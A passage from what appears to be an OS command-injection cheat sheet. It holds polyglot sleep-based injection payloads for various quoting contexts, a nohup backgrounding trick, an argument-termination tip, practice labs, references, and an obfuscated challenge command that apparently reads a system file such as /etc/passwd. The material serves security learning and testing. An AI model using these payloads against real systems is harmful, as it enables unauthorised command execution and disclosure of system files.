powershellPayload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} # Context inside commands with single and double quote: echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}Example 2:
powershellPayload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ # Context inside commands with single and double quote: echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/" echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
Tricks
Backgrounding Long Running Commands
In some instances, you might have a long running command that gets killed by the process injecting it timing out.
Using nohup, you can keep the process running after the parent process exits.
nohup sleep 120 > /dev/null &Remove Arguments After The Injection
In Unix-like command-line interfaces, the -- symbol is used to signify the end of command options. After --, all arguments are treated as filenames and arguments, and not as options.
Labs
- PortSwigger - OS command injection, simple case
- PortSwigger - Blind OS command injection with time delays
- PortSwigger - Blind OS command injection with output redirection
- PortSwigger - Blind OS command injection with out-of-band interaction
- PortSwigger - Blind OS command injection with out-of-band data exfiltration
- Root Me - PHP - Command injection
- Root Me - Command injection - Filter bypass
- Root Me - PHP - assert()
- Root Me - PHP - preg_replace()
Challenge
Challenge based on the previous tricks, what does the following command do:
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}NOTE: The command is safe to run, but you should not trust me.
References
- Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019
- Argument Injection Vectors - SonarSource - February 21, 2023
- Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014
- Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018
- Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017
- No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017
- OS Command Injection - PortSwigger - March 30, 2019
- SECURITY CAFร - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017
- TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - Kacper Szurek - April 25, 2018
- WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025